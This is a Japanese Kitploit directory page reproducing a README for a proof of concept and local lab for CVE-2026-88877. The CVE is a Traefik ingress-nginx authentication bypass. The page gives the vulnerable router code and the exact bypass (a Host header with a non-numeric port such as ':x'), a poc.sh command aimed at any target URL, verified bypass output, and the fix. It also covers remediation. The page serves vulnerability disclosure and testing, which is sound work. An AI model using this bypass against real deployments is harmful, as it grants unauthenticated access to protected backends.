Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-88877-PoC-pwnVader — CVE-2026-88877(from-to-www-redirect を介した Traefik ingress-nginx 認証バイパス)の概念実証および再現可能なラボ。読み取り専用のチェックモード付き。 | Kitploit
ツール/GitHubGitHub/pwnvader/cve-2026-88877-poc-pwnvader
コンテナセキュリティ脆弱性分析エクスプロイトウェブセキュリティペネトレーションテストクラウドセキュリティ認証ラボと実践

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
pwnvader/cve-2026-88877-poc-pwnvader

CVE-2026-88877-PoC-pwnVader

CVE-2026-88877(from-to-www-redirect を介した Traefik ingress-nginx 認証バイパス)の概念実証および再現可能なラボ。読み取り専用のチェックモード付き。

リポジトリを見る
4日前未レビュー

CVE-2026-88877 — Traefik v3.7.0–v3.7.11 — from-to-www-redirect による認証バイパス

Author: pwnVader · License: MIT (リポジトリルート)

ComponentTraefik (Kubernetes ingress-nginx プロバイダー、providers.kubernetesingressnginx)
TypeCWE-639 — ユーザー制御キーによる認可バイパス
AffectedTraefik >= v3.7.0, <= v3.7.11 (v2 および < v3.7.0 は影響を受けない)
Fixedv3.7.12
CVECVE-2026-88877 — CVSS 4.0 9.3 (Critical、ベンダーアドバイザリによる) · CVSS 3.1 9.8 (一部の脆弱性データベースで公開されている値)
Official advisoryGHSA-cjr6-pf59-jq29 (Traefik リポジトリアドバイザリ)
PoCpoc.sh · lab/

開示状況。 この脆弱性は Traefik プロジェクトによって公開され、v3.7.12 で修正されています。 本文書は再現可能なラボを伴う独立した技術分析であり、オリジナルの発見ではありません。 脆弱性は上記のベンダーアドバイザリを通じて報告・開示されました (VulnCheck アドバイザリも参照)。 明示的な許可なくこの資料をシステムに対して使用しないでください。

GHSA 識別子。 公式リポジトリアドバイザリは GHSA-cjr6-pf59-jq29 です。GitHub の 汎用アドバイザリデータベースにも同一問題に対して別レコード GHSA-9rch-gvf7-hrfc が 存在します。脆弱性を引用する際はリポジトリアドバイザリを優先してください。

概要

Ingress が認証アノテーション (例: nginx.ingress.kubernetes.io/auth-type: basic) と nginx.ingress.kubernetes.io/from-to-www-redirect: "true" の両方を持つ場合、Traefik の ingress-nginx プロバイダーは、ホストのみにマッチし、生成された RedirectRegex ミドルウェア のみを保持し、それでも保護されたバックエンドを指す追加の**「兄弟」ルーター**を作成します:

root@kitploit:~
// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
    RedirectRegex: &dynamic.RedirectRegex{
        Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
        Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
        StatusCode:  new(http.StatusPermanentRedirect), // 308
    },
}

conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
    Rule:        f.ExtraRouterRule,        // Host("www.example.com")
    Middlewares: []string{mwName},         // ONLY the redirect middleware
    Service:     rt.Service,               // <-- the protected backend
}

RedirectRegex は終端ハンドラーではありません: 正規表現がマッチしない場合、リクエストは 次のハンドラーに渡され、最終的にバックエンドにプロキシされます。正規表現は数値ポート ((:[0-9]+)?) のみを受け付けますが、Traefik の Host() マッチャーは net.SplitHostPort を 通じて authority を正規化します。したがって Host ヘッダーが非数値または空のポートを 持つリクエストは:

  1. 兄弟ルーター (Host("www.example.com")) には依然としてマッチするが、
  2. リダイレクト正規表現 (www.example.com:x) にはマッチしないため、リダイレクトされず、
  3. Ingress のアノテーション由来のミドルウェア (BasicAuth、送信元 IP 許可リストなど) を 一切適用せずに保護されたバックエンドにプロキシされる。

1 つの未認証リクエスト — Host: www.example.com:x — が認証を必要とするバックエンドに到達 します。返される HTTP ステータスはバックエンド自体に依存します: このラボでは traefik/whoami バックエンドが 200 を返しますが、セキュリティ上重要な事実はリクエストが 認証なしでバックエンドに到達したことであり、特定のステータスコードではありません。

前提条件

  • ingress-nginx プロバイダーを有効にして実行されている Traefik v3.7.0–v3.7.11 (--providers.kubernetesingressnginx=true)。
  • 認証/許可リストアノテーションと nginx.ingress.kubernetes.io/from-to-www-redirect: "true" を組み合わせた Ingress で、www. の対応ホストが存在しないホスト向けのもの (存在する場合、兄弟ルーターは生成されない)。

ラボ (検証済み)

root@kitploit:~
# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh                     # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab                    # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh                   # tear down

poc.sh check は任意の候補デプロイメントに対しても実行できます:

root@kitploit:~
./poc.sh check --url https://target.example --host target.example --verbose

検証済み出力 (このラボ、Traefik v3.7.10)

root@kitploit:~
[1] Protected host (Host: example.local) — authentication must be enforced
    HTTP 401
  [PASS] auth middleware enforced (HTTP 401)

[2] www host (Host: www.example.local) — the redirect router
    HTTP 308
  [PASS] redirect router responds (HTTP 308)

[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
    HTTP 200
    > Hostname: whoami-ff77f998d-25f6n
    > RemoteAddr: 10.244.0.8:57586
    > X-Forwarded-Server: traefik-7f76f4c58d-5knfz

== RESULT ==
  [PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)

ラボで使用されているバックエンド (traefik/whoami) はリクエストをエコーし、Authorization ヘッダーなし、認証ミドルウェア未適用でリクエストが保護されたサービスに到達したことを証明 します。表示されているステータスコード (200) はこの特定のバックエンドが返す値です。別の バックエンドでは、バイパスは 401/403/リダイレクト以外の別のレスポンスとして現れる可能性が あります。

修正 (v3.7.12)

root@kitploit:~
-            Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+            // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+            Regex:       `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
-        Service:       rt.Service,
+        // The redirect router does not carry the location middlewares (auth included),
+        // so it must never reach the backend.
+        Service:       unavailableServiceName,

リダイレクトルーターは内部の unavailable サービスを指すようになったため、リクエストが 正規表現をすり抜けたとしても保護されたバックエンドに到達することはありません。

修復

Traefik v3.7.12 以降に更新してください。更新できないインストールでは、認証または許可 リストを組み合わせた Ingress から nginx.ingress.kubernetes.io/from-to-www-redirect を 一時的に削除し、アクセス制御ミドルウェアを保持する構成 (例: ミドルウェアをアタッチした 明示的な Traefik RedirectScheme/RedirectRegex CRD) でリダイレクトを実装してください。 多層防御として、バックエンド/アップストリームでも認証を強制してください。

参考資料

  • 公式 Traefik アドバイザリ (一次情報): https://github.com/traefik/traefik/security/advisories/GHSA-cjr6-pf59-jq29
  • GitHub 汎用アドバイザリデータベース (同一問題、別レコード): GHSA-9rch-gvf7-hrfc
  • NVD — CVE-2026-88877: https://nvd.nist.gov/vuln/detail/CVE-2026-88877
  • VulnCheck アドバイザリ: https://www.vulncheck.com/advisories/traefik-3.7.0-authentication-bypass-via-from-to-www-redirect
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-88877
  • Traefik セキュリティ決定 (ヘッダー/ミドルウェアモデル): https://doc.traefik.io/traefik/contributing/security-decisions/

免責事項

認可されたセキュリティテスト専用です。ラボはローカルで自己完結しており、check モードは 読み取り専用 (3 回の GET リクエスト) であり、所有しているか明示的にテストを許可された システムに対してのみ使用してください。

ツールをダウンロード